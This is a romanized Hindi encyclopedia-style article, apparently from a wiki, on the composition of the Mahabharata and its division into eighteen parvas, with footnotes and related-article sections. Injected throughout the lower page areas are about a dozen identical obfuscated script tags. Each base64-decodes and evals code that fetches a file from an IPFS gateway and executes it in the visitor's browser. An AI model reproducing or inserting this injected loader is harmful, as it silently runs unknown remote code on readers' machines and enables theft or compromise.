vedavyas ne sarvapratham punyakarma manavoan ke upakhyanoan sahit ek lakh shlokoan ka ady bharat granth banaya. tadantar upakhyanoan ko chho dakar chaubis hazar shlokoan ki 'bharatasanhita' banayi. tatpashchath vyasaji ne sath lakh shlokoan ki ek doosari sanhita banayi, jisake tis lakh shlok devalok mean, pandrah lakh pitrilok mean tatha chaudah lakh shlok gandharvalok mean samadrit hue. manushyalok mean ek lakh shlokoan ka ady bharat pratishthit hua. mahabharat granth ki rachana poorn karane ke bad vedavyas ne sarvapratham apane putr shukadev ko is granth ka adhyayan karaya.

mahabharat ke parv

mahabharat ki mool abhikalpana mean atharah ki sankhya ka vishisht yog hai. kaurav aur pandav pakshoan ke madhy hue yuddh ki avadhi atharah din thi. donoan pakshoan ki senaoan ka sammilit sankhyabal bhi aththarah akshauhini tha. is yuddh ke pramukh sootradhar bhi aththarah the.[3] mahabharat ki prabandh yojana mean sampoorn granth ko atharah parvoan mean vibhakt kiya gaya hai aur mahabharat mean 'bhishm parv' ke antargat varnit 'shrimadbhagavadgita' mean bhi atharah adhyay haian.

sampoorn mahabharat atharah parvoan mean vibhakt hai. ‘parv’ ka moolarth hai- "gaanth ya jo d".[4] poorv katha ko uttaravarti katha se jo dane ke karan mahabharat ke vibhajan ka yah namakaran yatharth hai. in parvoan ka namakaran, us kathanak ke mahattvapoorn patr ya ghatana ke adhar par kiya jata hai. mukhy parvoan mean pray: any bhi kee parv haian.[5] in parvoan ka punarvibhajan adhyayoan mean kiya gaya hai. parvoan aur adhyayoan ka akar asaman hai. kee parv bahut b de haian aur kee parv bahut chhote haian. adhyayoan mean bhi shlokoan ki sankhya aniyat hai. kinhian adhyayoan mean pachas se bhi kam shlok haian aur kinhian-kinhian mean sankhya do sau se bhi adhik hai. mukhy atharah parvoan ke nam is prakar haian-

mahabharat ke parv


age jaean »


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. vedavyasaji shlokoan ka uchcharan karate jate the, jinhean bhagavan shriganesh ne likha.
  2. putr ke putr
  3. dhritarashtr, duryodhan, du:shasan, karn, shakuni, bhishm, dron, kripachary, ashvatthama, kritavarma, shrikrishna, yudhishthar, bhim, arjun, nakul, sahadev, draupadi aur vidur.
  4. vi.es. apte: sanskrit-hindi-kosh, pri. 595
  5. sampoorn mahabharat mean aise parvoan ki kul sankhya 100 haian.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shrutiyaan
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>